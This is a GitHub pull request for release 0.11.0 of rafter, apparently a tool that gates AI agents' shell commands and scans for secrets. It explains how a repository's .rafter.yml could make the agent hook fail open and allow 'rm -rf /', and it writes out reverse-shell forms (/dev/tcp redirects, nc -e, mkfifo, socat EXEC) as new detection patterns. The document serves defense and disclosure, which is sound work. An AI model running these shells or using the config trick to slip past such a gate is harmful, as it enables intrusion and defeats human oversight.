Skip to content

Release 0.11.0 (candidate for review): fail-closed secret gate, reverse shells, 26 fixes - #276

Open
Rome-1 wants to merge 77 commits into
mainfrom
release/0.11.0
Open

Rome-1 wants to merge 77 commits into
mainfrom
release/0.11.0

Conversation

@Rome-1

@Rome-1 Rome-1 commented Oct 13, 2026 •

Copy link
Copy Markdown
Collaborator

Security fix. Affected: 0.7.2 through 0.10.6. Users should upgrade to 0.11.0.
A repository's .rafter.yml could make rafter's command hook allow commands it should block. 0.11.0 ignores that setting from project config, never lets an audit-log failure change a decision, and denies on any unexpected hook error.

Release candidate for 0.11.0, for review before merge.
Do not merge, tag or publish until it has been reviewed. The second testing pass is complete; results are under Tests.

It integrates 23 branches on top of main (eda0fab): the test purge from #272, 10 fix branches from the external-issue triage (#230, #231, #262, #271, #274) and internal bugs, 10 fixes from benchmarking the secrets engines on large open-source repositories, and 2 branches fixing what the second-pass review found.
Node, Python and both skill manifests are bumped 0.10.6 → 0.11.0, and the CHANGELOG has the full user-facing list.
It is a minor version because several fixes change behavior; those are marked below.

Closes a security gap

Fixes wrong or lost output

Behavior changes

Speed

  • The patterns engine compiles each pattern once instead of once per line: 27.8 s → 6.8 s (Node) and 139.5 s → 41.3 s (Python) on a 5,247-file repository.

Tests

  • The suites no longer read the real ~/.rafter/config.json or call the live backend; before this, a test run on a machine with a stored key started real remote scans.
  • Every fix has a test that fails without it, in both runtimes where it applies. The hook fix adds a test per runtime that makes each stage throw (config load, policy load, risk classification, audit write) and asserts deny, and one where a repo points audit.log_path at a fake ~/.bashrc and the file stays unchanged.
  • Second pass, full suites with an isolated HOME: Node 2,120 passed, 0 failed; Python 1,722 passed, 0 failed.
  • Full CI matrix (workflow_dispatch, every job including the 4-way cross-platform grid, secret-detection accuracy, SARIF validation, package integrity and e2e) is green on 6ba817c: run 38375270323. Getting there fixed four CI-only test problems (a betterleaks-dependent count, ANSI color in help text, a regex pattern-text difference between runtimes, and macOS /private/var paths, including the gemini-link test that also fails on main) and listed backend-api.test.ts as allowed to skip, since this repo has no RAFTER_API_KEY secret.
  • A fresh adversarial review of the combined diff found no interaction between fixes and no guarding test lost in the merge conflicts. It found the hook fail-open above (also on main) and eight smaller issues, two of them introduced by this branch; all are fixed here.
  • Reverse shells checked by hand in both runtimes: bash -i >& /dev/tcp/h/p 0>&1, exec 3<>/dev/tcp/h/p, nc -e, mkfifo shell: critical; bash -c '</dev/tcp/h/p': low.
  • The caltrop benchmark rerun (bug-fix effect only) is still pending.

Risks

  • The hook now fails closed. A bug in the hook blocks every tool call until fixed, where it used to allow silently. That is the intended trade-off for a security gate.
  • audit.log_path in a project .rafter.yml is now ignored (with a warning); such projects log to the global location.
  • Many test-file merge conflicts between the purge (test: prune excess tests in Node and Python suites #272) and the fixes were resolved by hand: the purge's deletions kept, every test a fix added kept. The full suites and the adversarial review's test-by-test comparison are the check on that.
  • New fixture key AKIAIOSFODNN7ABCDEFG replaces the docs example key in about 40 test files. GitHub accepted the push, but the repo's secret-detection CI job has not run on it yet.
  • The VS Code extension has its own AWS pattern and still flags …EXAMPLE keys; it is not part of this release.
  • --engine betterleaks no longer scans submodule contents, since it now gets git's file list (follow-up bead).

Supersedes #272 once merged; the individual fix branches are pushed for reference.

Rome-1 added 30 commits October 6, 2026 03:33
Node: 2329 -> 2046 tests (99 -> 97 files), 178s -> 159s wall time.
Python: 1758 -> 1662 tests (75 files), 60s -> 39s wall time.
Same pre-existing failures before and after in both suites (none
introduced by this change) — see PR/commit description for detail.

Removed, by category:

- Exact duplicates: same input/assertion tested twice under different
  names, within one language's suite (secret-patterns, custom-patterns,
  pattern-engine, risk-rules/risk-rules-comprehensive/bypass,
  command-interceptor/command-interceptor-policy, policy-loader/
  policy-validation, audit-logger/audit-logger-lifecycle, issues,
  e2e-cli, scan-remote, api-scope, test_handle_403, agent-init/
  agent-components).

- Tests of a hand-copied mirror of production logic rather than the
  real code, where real-code coverage already exists elsewhere:
  claude-code-integration.test.ts (whole file — tests a function with
  a signature that doesn't exist in source), most of
  agent-compatibility.test.ts's reimplemented hook-dispatch blocks
  (Codex PreToolUse, both PostToolUse blocks, Cross-Agent Consistency,
  the fs-tautology "Environment Detection" block), the basic
  mcp-server.test.ts handler tests (superseded by mcp-server-
  integration/stdio's real-server tests), and the fake install-hook /
  write-secret-content duplicates in Python's test_hook_integration.py
  (superseded by test_agent_install_hook.py and test_hook.py, which
  import the real functions).

- Vacuous or tautological assertions: if-guarded checks that pass
  whether or not the real behavior works, OR-conditions that always
  hold, try/except accepting any outcome, assertions on a literal the
  test just constructed, "contains X" checks guaranteed true by an
  already-asserted fixture, ANSI/emoji-absence checks implied by an
  adjacent exact-equality assertion.

- Consolidation of near-duplicate per-variant tests into table-driven
  tests, same coverage at lower cost: platform-integration.test.ts's
  8-platform MCP install/idempotency/preserve/corrupted-JSON/
  not-detected matrices, risk-rules tier tables, policy-export/
  command-interceptor-policy tier wiring, pattern-engine generic-key
  false-positive tables, formatter mode-difference tests, codex/
  openclaw skill frontmatter checks, audit-skill high-risk pattern
  detection.

- Dead golden-fixture files only read by the removed snapshot tests
  (directory-scan.json, positions-multi-pattern.json, both languages).

- Cleaned up unused imports left behind by the above (Python, via
  ruff --fix --select F401).

One non-deletion fix: python/tests/test_issues.py's TestParseNaturalText
and its 8 dependent classes called a local mirror of
_parse_natural_text because the import was simply missing, not because
of any technical barrier (other private functions in the same file were
already imported directly) — switched to importing and calling the real
function, turning ~28 previously-fake tests into real coverage.

Kept despite resembling the above: Node's policy-export.test.ts JSON/
TOML-shape tests, posttool.test.ts, baseline.test.ts's applyBaseline
block, hook-formats.test.ts, and hook-integration.test.ts's install-hook
tests — each is the only (if indirect) coverage of real dispatch logic
that isn't exported for direct import, and Python has real coverage of
the equivalent behavior that would otherwise create a parity asymmetry.
An adversarial review of the prune found these had no other coverage:
- mcp-server-integration: version-from-package.json regression (41c0119)
- skill-scanner: audit-skill unknown --engine exits 2 (CLI_SPEC contract,
  Node path separate from agent scan), --engine alias, and the deep-engine
  benign-skill false-positive guard
- snapshot-scan (both runtimes) + directory-scan/positions goldens: the
  byte-identical goldens were an implicit Node/Python parity check
- audit-logger-lifecycle: the only test that appends after a corrupt line,
  which exercises readLastLineHash on the hash chain
The command risk classifier had no reverse-shell patterns, so evaluate_command
rated bash -i >& /dev/tcp/H/P, nc -e, mkfifo|nc, socat EXEC:, and the
python/perl/ruby/node socket one-liners as low/allowed. In an agent-security
product that is a core false negative.

Add reverse-shell signatures, matched against the sanitized, lowercased command
like the existing tiers and folded into the critical set so they are hard-
blocked with no policy opt-out, with parity across Node and Python:

  - /dev/tcp|udp net redirect, anchored to a redirect/separator so a real path
    component (ls config/dev/tcp/) is not matched
  - netcat exec flag: -e anywhere in a short cluster (-e/-ve/-nve) or
    --exec/--sh-exec/--lua-exec (-c omitted: once case-folded it is OpenBSD -C)
  - mkfifo/mknod named-pipe relay that also carries a shell, order-independent
  - socat with an EXEC:/SYSTEM: program endpoint, not a plain relay
  - an interpreter socket call (not the bare word, which is in --socket-path,
    docker.socket, trace=socket) with either a spawn that names a shell, or a
    generic exec/system plus socket-fd wiring (dup2/fileno/pipe/redirect). The
    two halves are order-independent anchored lookaheads: this catches the
    canonical Node.js payload that opens the socket after the spawn, stays
    linear instead of O(n^2) on a crafted repeated-token input, and does not
    hard-block a benign socket script that merely shells out with no wiring
  - zsh zmodload zsh/net/tcp
  - powershell/pwsh System.Net.Sockets.TCPClient

Checked against benign look-alikes with no false positive (nc -z, nc -C host 25,
socat - TCP:h:p, docker.socket, --socket-path ... /bin/bash, trace=socket
/bin/sh, ls config/dev/tcp/, a socket+subprocess health check, a socket server,
`import socket; print(...)`), and against pathological inputs up to ~2MB for
backtracking (linear in both engines). Documented fail-open limits: a payload
piped into a non-shell interpreter, a variable-split or base64/$() blob, and the
quoted-operand forms of php -r, socat exec:'...', gawk, telnet, rcat; base64-
into-shell still degrades to high.

Tests first, red before the fix, in both runtimes; two adversarial review passes,
every finding closed as a regression test.
Both CLIs share ~/.rafter/config.json. Python writes snake_case
(backend.api_key, agent.risk_level) and already reads camelCase on load,
but Node read keys verbatim, so a config written by `pip install
rafter-cli` looked empty to the npm CLI: no API key, default risk level,
default command policy. Normalize keys to camelCase on load, leaving
component IDs under agent.components untouched.
`rafter secrets --json` wraps its results in an object
({_note, scan_mode, triage_applied, results}), but `rafter report`
still required a bare array, so the pipe its own help suggests,
`rafter secrets --json . | rafter report -o report.html`, failed with
"Expected a JSON array of scan results" in both runtimes. Read
`results` from the object, as `issues create --from-local` already
does, and point remote scan JSON at `rafter get --format md`.

CLI_SPEC said the command was Node-only; Python has had it for a while.
Both pattern engines rebuilt every regex for every line of every file:
73.8 million compiles on the argo-cd tree (5,247 files). Compile in the
constructor and reuse; Node rewinds `lastIndex` on each use since the
regexes are global.

On argo-cd v3.5.3, `rafter secrets --engine patterns` drops from 27.8 s
to 6.8 s in Node and from 139.5 s to 41.3 s in Python, with identical
findings.
When the API marked a scan failed, `rafter run` printed "Scan failed"
and nothing else, and `rafter get` exited 0 with no message. The API
explains the failure: `error_code`, an `error` message, and whether it
is `retryable` (e.g. SCAN_STALLED: "a fault on our side ... please
re-run the scan"). All of that was discarded, and with `--format json`
stdout was empty, so an agent could not tell a retryable backend fault
from a problem with its repo.

Print the code and message on stderr, add a re-run hint when the scan
is retryable, write the payload to stdout in JSON mode, and exit 1 from
`get` as well as `run`. Both runtimes; documented in CLI_SPEC.
The Python regex scanner's default excludes lacked vendor/, .venv/,
venv/, .tox/, .pytest_cache/, results/, .terraform/ and
bower_components/, and Node's lacked .ruff_cache/. On Grafana Loki,
whose vendor/ holds the AWS SDK, `rafter secrets` reported 19,920
findings from pip and 271 from npm. Use one list in both.
…a failed scan as a finding

`rafter agent scan --staged` read the diff with execFileSync at the default
1 MiB maxBuffer, so an ordinary large staged diff (lockfiles, generated or
vendored files) threw ENOBUFS. The catch only handled a non-repo (git exit 128)
and rethrew everything else, so the crash exited 1 — the same code a real
finding uses — and a commit gate keying on the exit code reported a broken scan
as a possible secret.

Read the whole diff (256 MiB ceiling, overridable via RAFTER_GIT_DIFF_MAX_BUFFER
for constrained hosts), and treat any failure to run the scan as a scan ERROR
(exit 2, per the CLI_SPEC exit-code contract) with a clear message, distinct
from a finding (exit 1), so a gate can tell "blocked for cause" from "scanner
broke". A diff past even the ceiling now reports the error instead of crashing.

Node-only defect: the Python engine already reads the full diff via
subprocess.run with no cap and returns exit 2 on a git failure, so this restores
Node/Python parity rather than changing it. Regression tests both runtimes: a
>1 MiB staged diff scans clean, a real secret buried in a large diff still exits
1, and a scan that cannot read the diff exits 2 with the error message — all red
on the unpatched Node code.
…dit`

There is no top-level `rafter audit` command — it's `rafter agent audit`.
Fixes the rafter skill router description and its cursor/windsurf/continue
rule copies in both runtimes, plus a regression guard scanning both shipped
resource trees for the stale form.

Ref #231 (item 4a).
…scanned

The pretool hook and `rafter agent exec` read the staged diff with execSync at
Node's default 1 MiB maxBuffer, the same root cause as #274. Unlike
`agent scan --staged`, they did not crash: their catch returned "no secrets",
so any commit with a staged diff over 1 MiB skipped the secret gate silently
and a secret in it was allowed through.

Move gitDiffMaxBuffer() into utils/git-diff.ts and use it at all three readers.
Also restore the runGitAddedLineScan doc comment the previous commit separated
from its function. Python reads the diff with subprocess.run and has no cap.

Regression test: a secret at the end of a >1 MiB staged diff is found by the
hook's scanStagedFiles (red before: secretsFound false).
The PreToolUse approval message spliced the raw command into a
double-quoted `rafter agent exec "<command>"` suggestion. A command
containing `"`, `$`, or a backtick broke the quoting and, if pasted,
could shell-expand instead of running the literal blocked command.

Single-quote the command instead (shlex.quote in Python, a shared
shellQuote helper in Node — same technique exec.ts already uses to
reconstruct multi-arg commands), escaping embedded single quotes.
Multi-line commands stay pasteable since single quotes preserve
embedded newlines literally in POSIX sh.

Ref #231 (item 5).
The previous commit raised the git diff buffer, but both readers still ended in
a bare catch that returned "no secrets". A diff past the cap (or any other
failure to read it) still let the commit through unscanned.

Split "not a git repo" (skip, nothing to scan) from every other error. Inside a
repo, a failed read now returns a scan error: the pretool hook denies the
commit with a reason saying the scan could not run, and `agent exec` exits 2
(scan error, per CLI_SPEC) without running the command.

Tests drive the built CLI with RAFTER_GIT_DIFF_MAX_BUFFER=1024 (red before: the
hook allowed the commit; exec ran it).
`agent audit-skill` is deprecated in favour of `rafter skill review`,
but --with-skill-scanner's help text and the update-skill-scanner
command description still pointed at the deprecated command in both
runtimes.

Ref #231 (item 4b).
…ble-5b01)

Tests that expect "no API key" read the developer's real
~/.rafter/config.json, so on a box with a key they created live remote
scans. A vitest setup file and an autouse pytest fixture now point HOME
at a temp dir, clear RAFTER_* vars, and aim the API base at a closed
local port. RAFTER_TEST_LIVE_API=1 opts out for deliberate live runs.

The API base is now read per call from RAFTER_API_URL, falling back to
https://rafter.so/api/. A .env file cannot set it: env-guard already
drops RAFTER_* vars that dotenv introduces, and the Python CLI loads no
.env. Guard tests in both runtimes fail with the setup removed.
The pretool hook and `agent exec` ran `git diff --cached` without checking its
return code, so a failed read looked like an empty diff and the commit was
allowed unscanned. And with text=True, a non-UTF-8 diff raised
UnicodeDecodeError: in the hook it escaped to the fail-open outer catch
(commit allowed), in exec it crashed with a traceback.

Same semantics as the Node fix: outside a repo, skip; inside one, a failed
read denies the commit (hook) or exits 2 (exec). Decode with surrogateescape so
a non-UTF-8 diff is still scanned.

Tests: a corrupted index (git diff fails) and a Latin-1 file holding an AWS key
(red before: hook allowed both; exec ran the commit, or crashed).
…ot a clean scan

`rafter secrets <dir>` documents "respect .gitignore" as the default, but only
the patterns walker honored it. The betterleaks branch passed the directory
to `betterleaks dir`, which has no gitignore awareness: it walked
node_modules and build output (slow enough to hit the fixed 60 s timeout on
an ordinary checkout) and reported gitignored local secret stores such as
.env (#262). The comment claiming betterleaks reads .gitignore natively was
wrong.

With respectGitignore on and the target inside a git work tree, hand
betterleaks the file list from `git ls-files --cached --others
--exclude-standard`, chunked to stay under the Windows command-line limit.
File arguments stop betterleaks from auto-loading the target's
.betterleaks.toml / .gitleaks.toml, so pass it with -c unless a config env
var already selects one. Outside a git repo, with --no-gitignore, and for
--history, the old single-directory call is unchanged.

Warnings now name the cause ("timed out after 60s", "exit 2") instead of a
generic "scan failed". Python also treated a timeout as an empty result, so
`--engine betterleaks` reported a scan that never finished as clean; it now
raises and falls back to patterns like Node, and that branch prints the
fallback warning it was missing.

Tests (both runtimes, fake betterleaks binary): gitignored files are skipped
by default and scanned with --no-gitignore; the target's config is still
applied; a timeout raises (Python). Red before the change.
readLastLineHash read a fixed 64 KB tail, so after an entry longer than
that (a long intercepted command) the writer chained a hash of a line
fragment while verify hashed the whole line, and every later
`audit --verify` reported a false break. Read backwards in 64 KB chunks
until the whole last line is in hand. Same fix in both runtimes.

Fixes #271
… the real run (#231)

`agent init` wrote a CLAUDE.md block telling agents to invoke
rafter-skill-review but never installed that skill: it was missing from
AGENT_SKILLS in both runtimes. It is now installed for Claude Code, Codex
and Gemini alongside the other three.

The --dry-run plan disagreed with the real run in four ways, all fixed in
both runtimes:
- it listed rafter-skill-review (now actually installed);
- it listed <root>/.mcp.json at user scope, where only the project-scope
  install writes it, and as WRITE even when claude-code.mcp is disabled
  (now SKIP with the reason);
- it listed a betterleaks DOWNLOAD when an existing binary on PATH or in
  ~/.rafter/bin would be reused (now SKIP naming that binary);
- it omitted Claude Code under --with-claude-code when ~/.claude did not
  exist, though the real run installs it.

Python's `agent init --with-codex` never wrote .codex/hooks.json, so
Python installs had no Codex gate while the plan claimed one. It now
installs the same Bash|apply_patch PreToolUse/PostToolUse hooks as Node.

New parity tests run the dry run and the real run against one fresh HOME
and require every planned write to land and every installed skill to have
been planned, plus a SKIP control.
`agent verify`'s summary line counted every undetected optional platform
integration (9 of them on a typical machine) as a "core check", printing
e.g. "3/12 core checks passed" for a healthy install with only Claude Code
configured. The 9 were in the denominator and called "core" in the same
breath as "optional". Now the denominator excludes checks whose platform
isn't present at all, and those are reported separately as "optional
integrations not detected" rather than lumped into "optional checks not
configured".

Also: `agent init --all` printed a "requested but not detected" warning
for every undetected platform even though `--all` means "install all
DETECTED integrations" per its own --help text, burying the warnings that
matter. The warning now fires only for an explicit --with-<platform> flag.
`rafter secrets .` (and `agent scan`, and --watch) printed
"Scanning directory: <path> (both)" with no explanation of what "both"
means. Label it "both: betterleaks + patterns" via a shared
engineLabel/_engine_label helper; single-engine labels are unchanged.
Still on stderr. No pinned string in CLI_SPEC.md or the existing test
suite referenced the old text.

Ref #231 (item 6).
…le-5b01)

Every request carries the API key. A plain-http remote override is now
ignored with a warning, and a remote https override prints a one-time
notice naming the host the key goes to. Loopback http stays silent so
the test isolation setup works unchanged.
…e-z5i4)

runConfiguredHook passes the payload on stdin. A hook that exits
without reading it makes the write fail with EPIPE on a few percent of
spawns, though status and stdout are intact. That was treated as a
spawn error, so agent verify could report a working hook as inert and
the liveness test flaked in CI (run 37453753093).
`rafter secrets` runs betterleaks and the regex patterns and merges the
results, but the merge keyed on (line, column, matched text), so it
almost never merged. The engines extract different text for one secret
(betterleaks a whole PEM block, the pattern only its header), and
betterleaks 1.1.x reports StartColumn one past the true column on every
line but the first. On 21 large open-source repos, 1,466 findings were
an extra report on a line that already had one; with this change, 76.

Report betterleaks columns as 1-based like the regex engine, and treat
two findings at the same line and column as one secret. Findings
without a position keep the old text-based key. Baselines match on
file, line and pattern, so existing baselines still apply.
Redaction kept the first and last four characters and masked every
character between them. betterleaks returns a whole PEM block as the
secret and JWTs run to hundreds of characters, so one finding could
print a line of 1,700 asterisks in text and JSON output. Cap the mask
at 16 in both engines and both runtimes; the snapshot goldens change
only in their `redacted` fields.
The MCP suppress_finding tool writes an ignore rule into .rafter.yml and
told the agent the finding would move under `_suppressed`, but
scan_secrets never applied suppressions, so the next scan reported the
same finding again and the triage loop could not converge. `rafter
secrets` applied them all along. Apply the same .rafter.yml ignore and
.rafterignore rules in scan_secrets (both runtimes), and correct the
suppress_finding description: suppressed findings drop out of
scan_secrets and are listed under `_suppressed` by `rafter secrets
--json`.
The Python policy loader caught only YAMLError and OSError. A file that
was well-formed YAML but crashed the mapper (a null custom_patterns
entry) or was not valid UTF-8 raised out of load_policy. In the pretool
hook that reached the fail-open outer catch, so a commit with a staged
secret was ALLOWED; `secrets --staged` crashed with exit 1.

Any load failure now warns with the file path and the error and drops
the whole policy, so the scan runs on defaults and no partial ignore
rule can apply. The Node loader already behaved this way; its tests
lock that in and were checked to fail when the loader rethrows or keeps
the parts it could read.

A genuine staged-diff read failure still blocks the commit (#274).
CHANGELOG [Unreleased] covers the whole #274 branch.
Both loaders dropped a non-list `rules` value and kept the entry, so
`rules: "AWS Access Key"` became a rule suppressing every pattern in
its paths. Skip the entry with a warning instead; a malformed
suppression now yields more findings, never fewer.
Commands call process.exit() right after writing their results. When
stdout is a pipe, Node writes asynchronously and exit drops whatever is
still queued, so piped output stopped at 64 KiB or 128 KiB:
`rafter secrets --json . | rafter report` and `rafter get <id> -f json
| jq` got truncated JSON (91,564 -> 65,536 and 551,765 -> 65,536 bytes
on two real repos). Writing to a file, or the Python CLI, was fine.
Make stdout and stderr blocking at startup so exit cannot drop output.
The backend marks a scan SCAN_PARTIAL when some of its scanners did not
finish (e.g. the curated rule pack timing out on a large repo), yet the
CLI reported such a scan as plainly completed, so a user could read a
partial result as clean. When the API sends `partial: true` or
`warning_code: "SCAN_PARTIAL"`, warn on stderr, even with --quiet, and
name `missing_scanners` when given. Exit code and payload are unchanged.
Both runtimes; documented in CLI_SPEC. (securable sb-w46v)
Rome-1 added 30 commits October 13, 2026 00:02
# Conflicts:
#	python/tests/test_report.py
# Conflicts:
#	node/tests/scan-remote.test.ts
…AMPLE exemption

fix/scan-exclude-parity and fix/mcp-scan-honors-suppressions added
tests that rely on AKIAIOSFODNN7EXAMPLE being detected. Since #230
exempts keys ending in EXAMPLE, swap them to AKIAIOSFODNN7ABCDEFG.
Restore the os import in test_regex_scanner.py, which the test purge
removed and the exclude-parity test needs.
Bump node, python and both ClawHub skill manifests 0.10.6 -> 0.11.0, and
record what this release ships: 28 fixes from two triage passes over the
open external issues (#230, #231, #262, #271, #274) and a benchmark of
the secrets engines on large open-source repositories.

Minor version, not patch: several fixes change behavior (see the
CHANGELOG's Behavior change notes).
The tests picked rafter's entries out of hooks.json by looking for
"rafter" in the command, which is the path to the CLI. Run from a
checkout whose path lacks that word, they found nothing and failed.
Match the hook subcommand instead.
RegexScanner.scanDirectory() returns [] for a file path instead of
throwing, so the scanFile fallback never ran and MCP scan_secrets
reported nothing for a single file. Choose by fs.statSync().isFile(),
as the Python server already behaves.
Since #262 the betterleaks scanner raises RuntimeError for a timeout or
a failed run. The MCP auto-mode handler caught only TimeoutExpired,
OSError and JSONDecodeError, so a timeout surfaced as a tool error
instead of degrading to the patterns engine. Catch RuntimeError too,
matching Node, which falls back on any betterleaks error.
Every deny branch in the PreToolUse hook wrote to the audit log before
returning. A write that threw (an unwritable log path) reached the outer
catch, which answered allow; a repo's .rafter.yml could set audit.log_path to
/proc/version and get `rm -rf /` through, in both runtimes.

- AuditLogger.log never throws: failures warn once on stderr.
- A project .rafter.yml can no longer set audit.log_path (ignored with a
  warning); it was also a file-append primitive into any user file. Only
  the global config sets it. Behavior change.
- The pretool's outer catch now denies a high/critical Bash command or a
  git commit/push; other tool calls still fail open.
scan_secrets now honors .rafter.yml ignore rules and .rafterignore but
left no trace of what it hid, so a cloned repo with
`ignore: [{paths: ["**"]}]` silently emptied every scan for the agent.
When any finding is suppressed, add a second content block
{suppressed_count, _suppressed: [...]} carrying the same metadata
`rafter secrets --json` lists (file, line, column, rule, severity,
reason, source; no secret text). The first block stays the results
array, so existing clients are unaffected. Tool descriptions and
CLI_SPEC say so.
The pipe-truncation fix set both stdout and stderr blocking. A client
that launches `rafter mcp serve` with stderr piped but never read then
froze the whole server once the stderr pipe buffer filled. Keep stdout
blocking, which is what fixes truncated piped JSON, and leave stderr
alone. The existing truncation e2e test stays green.
The auto-mode union dedups by position and keeps the betterleaks rule
name, so a rule-scoped suppression for that name also hid the
patterns-engine finding at the same spot. Record every engine's rule
name on the merged match (ruleNames / rule_names) and suppress it only
when each one has a matching suppression. Both runtimes; output
formats are unchanged.
Any /dev/tcp or /dev/udp redirect rated CRITICAL with no opt-out, so
the read-only wait-for-port idiom `timeout 1 bash -c '</dev/tcp/h/p'`
was hard-blocked. Require the reverse-shell shape instead: output
redirection or fd duplication onto the socket (`>`, `>&`, `&>`, `<>`,
`<&`), a shell reading its program from it (`bash < /dev/tcp/...`), or
an interactive shell beside it. Every existing reverse-shell case stays
critical; `exec 3<>/dev/tcp/h/p` and two more forms are added as
regressions, and the idiom plus `cat < /dev/tcp/...` as benign cases.
Both runtimes.
SITES_API_BASE was built from API_BASE at import time, so the Sites CLI
and MCP tools always hit the production base and ignored
RAFTER_API_URL. Build the URL per call through api_url(), as every
other command does.
…ning

`', '.join(missing)` raised TypeError when the API listed a non-string
scanner entry, turning a warning into a crash. Stringify each entry.
Node's Array.join already coerces, so it needs no change.
An exception anywhere in the decision path now denies the call, for every
tool, with "rafter hook error: <type>: <msg>; denying to be safe" on stderr
and as the deny reason. Input that is not a JSON object is still allowed,
and loader-handled conditions (a malformed .rafter.yml) are not errors.

The decision logic moves into decidePretool / decide_pretool so each stage
can be made to throw in-process: config load, policy load, risk
classification and audit write each have a test that uses a call allowed
when nothing throws. A test also checks that a repo's audit.log_path cannot
append to an existing ~/.bashrc.

CHANGELOG: Security now leads the 0.11.0 section and names the affected
versions (0.7.2 through 0.10.6).
…not to none

With a .rafter.yml the loader warns about and skips, rm -rf / and a
curl | sh are still denied, and the parse warning is on stderr. The
curl | sh case is the one that depends on the default policy: with the
default command policy emptied to allow-all, it fails.
The raw string r"...[\s(\[{\"']..." keeps the backslash, so Python's
pattern read [\s(\[{\"'] where Node's reads [\s(\[{"']. Both regexes
match the same inputs, but the exported blocked-pattern lists differ
and the cross-runtime parity test fails in CI. Use a triple-quoted raw
string so the double quote needs no escape and the text is identical.
The test asserted "3/3 core checks passed", which held only on machines
with betterleaks installed. CI runners have none, so Betterleaks failed
and verify printed 2/3. Put a stand-in betterleaks at the managed path
in the test HOME and keep any real one off PATH, so the count reflects
what #231 fixed (applicable checks only, not 3/12) on every machine.
Typer forces Rich colour when GITHUB_ACTIONS or FORCE_COLOR is set, and
Rich styles "-" and "-deep" as separate spans, so CI's help output never
contains the literal "skill review --deep". Strip escape codes before
matching, and assert the help command exited 0, so both tests check the
same words with or without colour.
The isolation setup cleared every RAFTER_* variable, including the
RAFTER_API_KEY that CI exports from its secret, so tests/backend-api
skipped in CI and the floor check failed the job. Move an exported key
to RAFTER_TEST_BACKEND_KEY, which only that file reads. A key stored in
~/.rafter/config.json is still never used.
The test purge (#272) removed the file's two offline checks, which
duplicated api-no-redirect. Its remaining tests need RAFTER_API_KEY,
which is not set on this repo, so the floor check failed test-node for
a file that has always skipped in CI. List it as a reviewed exception.
On macOS os.tmpdir() sits under /var, a symlink to /private/var. The CLI
reports paths from its resolved cwd, so the #231 plan-parity test and
the gemini-link test (already failing on main) compared /var/... with
/private/var/... and failed on the macOS runners. Reproduced on Linux
with TMPDIR pointing through a symlink.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant